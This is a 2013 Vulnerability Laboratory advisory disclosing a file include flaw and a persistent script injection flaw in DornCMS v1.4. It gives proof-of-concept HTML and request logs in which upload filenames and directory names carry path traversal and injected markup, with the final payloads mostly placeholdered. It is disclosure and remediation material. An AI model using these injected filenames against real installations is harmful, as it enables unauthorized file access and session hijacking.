1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 |
Document Title: =============== DornCMS Application v1.4 - Multiple Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1113 Release Date: ============= 2013-10-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1113 Common Vulnerability Scoring System: ==================================== 6.6 Product & Service Introduction: =============================== This is a simple, easy to use, PHP Content Management System that is geared toward personal or informational websites with minimal interactivity. (Copy of the Homepage: http://sourceforge.net/projects/dorncms/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the DornCMS v1.4 web-application. Vulnerability Disclosure Timeline: ================================== 2013-10-14:Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== SourceForge Product: DornCMS - Web Application 1.4 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ 1.1 A file include and a post inject vulnerability are detected in the Dorn Content Management System v1.4 web-application. The file include web vulnerability allows remote attackers to inject files with malicious context via POST method. The vulnerability is located in the <code>Upload</code> module in the Browse File section. Remote attackers are able to manipulate in the upload POST method request the filename value. The code or commands as filename executes in the index module file dir listing. In the exploitation phase the vulnerability allows an attacker to combine the script code inject with the file/path request for unauthorized access. Exploitation of the local file include web vulnerability requires no user interaction or privileged application user account with password. Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Upload > Browse File Vulnerable Parameter(s): [+] filename (name) Affected Module(s): [+] File Manager - File Dir Listing 1.2 A persistent input validation web vulnerability is detected in the Dorn Content Management System v1.4 web-application. The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of the device. The vulnerability is located in the file manager module. The file manager module allows the user to include regular files to the web-server system. Attackers are able to inject own malicious script codes as file name by tampering the upload POST method request. The execution of the code occurs in the file manager data list in the left bar. After the inject the code will be permanent executed and its not possible to delete via application function. Exploitation of the persistent web vulnerability requires low user interaction and a privileged web-application user account. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Add Sub Directory (FileManager) Vulnerable Parameter(s): [+] directory - name Affected Module(s): [+] File Manager Folder Listing Proof of Concept (PoC): ======================= 1.1 The local file include web vulnerability can be exploited by remote attackers with privileged application user account and without user interaction. For demonstration or reproduce ... Vulnerable Module: Upload > Browse File Affected: Current Directory: files/ name as path value PoC: Upload > Browse File - files/ Name <div id="fileinfo_holder"> Current Directory: <span id="current_path">files/</span> <div id="fileinfo"><table class="standard"> <tbody><tr> <th class="ui-state-active"> </th><th class="ui-state-active">Name</th> <th class="ui-state-active">Preview</th> <th class="ui-state-active">Size</th> <th class="ui-state-active"> </th> </tr> <tr><td><input value="files/<iframe src=a>" type="checkbox"></td> <td><a href="https://www.exploit-db.com/dorncms/files/[LOCAL FILE/PATH INCLUDE VULNERABILITY!]>" target="_blank"><iframe src="https://www.exploit-db.com/exploits/28979/a"></a></td> <td style='width: 300px;'><em>no preview</em></td><td>51 kb</td> <td><a href='https://www.exploit-db.com/dorncms/cms/delete_file/?name=files%2F%3C<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]' class='ajax_link delete'>delete</a> | <a href='https://www.exploit-db.com/dorncms/cms/rename_file/?name=files%2F%3C<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]"<' class='ajax_link rename'>rename</a></td></tr></table></iframe></a></td></tr></tbody></table></div></div> --- PoC Session Request Logs --- Status: 200[OK] POST http://dorn.localhost:8080/dorncms/cms/doajaxfileupload/?directory=files/ Load Flags[LOAD_DOCUMENT_URILOAD_INITIAL_DOCUMENT_URI] Content Size[46] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Post Data: POST_DATA[-----------------------------7708139255231 Content-Disposition: form-data; name="fileToUpload"; filename="<<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]>" Content-Type: image/png ‰PNG Status: 200[OK] POST http://dorn.localhost:8080/dorncms/cms/filelist/ Load Flags[LOAD_BYPASS_CACHELOAD_BACKGROUND] Content Size[318] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[*/*] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Content-Length[13] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] Post Data: path[files%2F] Response Headers: Date[Sun, 13 Oct 2013 19:25:57 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[318] Keep-Alive[timeout=2, max=99] Connection[Keep-Alive] Content-Type[text/html] Status: 200[OK] GET http://dorn.localhost:8080/dorncms/cms/upload/file/<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI] Content Size[20] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Response Headers: Date[Sun, 13 Oct 2013 19:25:58 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[20] Keep-Alive[timeout=2, max=98] Connection[Keep-Alive] Content-Type[text/html] 1.2 The persistent web vulnerability can be exploited by remote attakers with privileged application user account and low user interaction. For demonstration or reproduce ... PoC: Add Sub Directory (File Manager) <ul class="jqueryFileTree"> <li class="directory"><a href="https://www.exploit-db.com/exploits/28979/#" rel="uploadedimages/" id="uploadedimages">images</a> </li> <li class="directory"><a class="selected" href="https://www.exploit-db.com/exploits/28979/#" rel="files/" id="files">files</a> <ul class="jqueryFileTree"><li class="directory"><a href="https://www.exploit-db.com/exploits/28979/#" rel="files></a>>"<[PERSISTENT SCRIPT CODE VULNERABILITY!]"<;)<">>" <<../../x"<;)<">>)<</a></li></ul></li> </ul></iframe></a></li></ul></li></ul> --- PoC Session Request Logs --- Status: 200[OK] GET http://dorn.localhost:8080/dorncms/cms/folderlist/ Load Flags[LOAD_BACKGROUND] Content Size[186] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[*/*] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] X-Requested-With[XMLHttpRequest] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.5.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Response Headers: Date[Sun, 13 Oct 2013 19:19:41 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[186] Keep-Alive[timeout=2, max=98] Connection[Keep-Alive] Content-Type[text/html] Status: 200[OK] GET http://dorn.localhost:8080/dorncms/cms/upload/file/[PERSISTENT SCRIPT CODE VULNERABILITY!]"< Load Flags[LOAD_DOCUMENT_URI] Content Size[20] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.5.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Response Headers: Date[Sun, 13 Oct 2013 19:19:41 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[20] Keep-Alive[timeout=2, max=97] Connection[Keep-Alive] Content-Type[text/html] Solution - Fix & Patch: ======================= 1.1 Restrict the upload function and input by a secure escape and clean parse to ensure no execution occurs. Filter and parse also the main folder name listing were the output is executed. 1.2 The second vulnerability can be patched by a secure restriction and encode of the add sub directory function in the file manager module. Parse also the vulnerable output in the file manager listing even if the input is already encoded. Security Risk: ============== 1.1 The security risk of the local file include web vulnerability is estimated as high(+). 1.2 The security risk of the persistent input validation web vulnerability is estimated as medium(+). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains:www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact:admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section:www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2013 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com |